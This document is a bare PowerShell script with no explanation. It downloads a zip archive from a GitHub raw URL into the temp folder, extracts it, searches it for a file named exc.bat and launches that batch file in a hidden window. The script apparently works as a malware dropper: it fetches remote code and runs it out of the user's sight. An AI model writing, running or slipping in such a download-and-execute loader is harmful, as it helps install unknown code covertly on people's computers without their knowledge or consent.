$url = "https://github.com/AnneMartinss-RGB/huihui/raw/refs/heads/main/chodneo.zip" $zipFile = "$env:TEMP\chodneo.zip" $extractPath = "$env:TEMP\chodneo" if (Test-Path $zipFile) { Remove-Item $zipFile -Force } if (Test-Path $extractPath) { Remove-Item $extractPath -Recurse -Force } try { Invoke-WebRequest -Uri $url -OutFile $zipFile -UseBasicParsing -MaximumRedirection 5 -ErrorAction Stop } catch { Write-Warning "download failed: $_" return } $bytes = Get-Content -Path $zipFile -Encoding Byte -TotalCount 2 -ErrorAction SilentlyContinue if ($bytes[0] -ne 80 -or $bytes[1] -ne 75) { Write-Warning "not a valid zip. github is serving a webpage (repo might be private or dead)." return } try { Expand-Archive -Path $zipFile -DestinationPath $extractPath -Force -ErrorAction Stop } catch { Write-Warning "extraction failed: $_" return } # search for the bat file in case it extracted into a nested folder $batPath = Get-ChildItem -Path $extractPath -Filter "exc.bat" -Recurse | Select-Object -ExpandProperty FullName -First 1 if ($batPath) { Start-Process -FilePath $batPath -WindowStyle Hidden } else { Write-Warning "exc.bat not found anywhere in the extracted files." }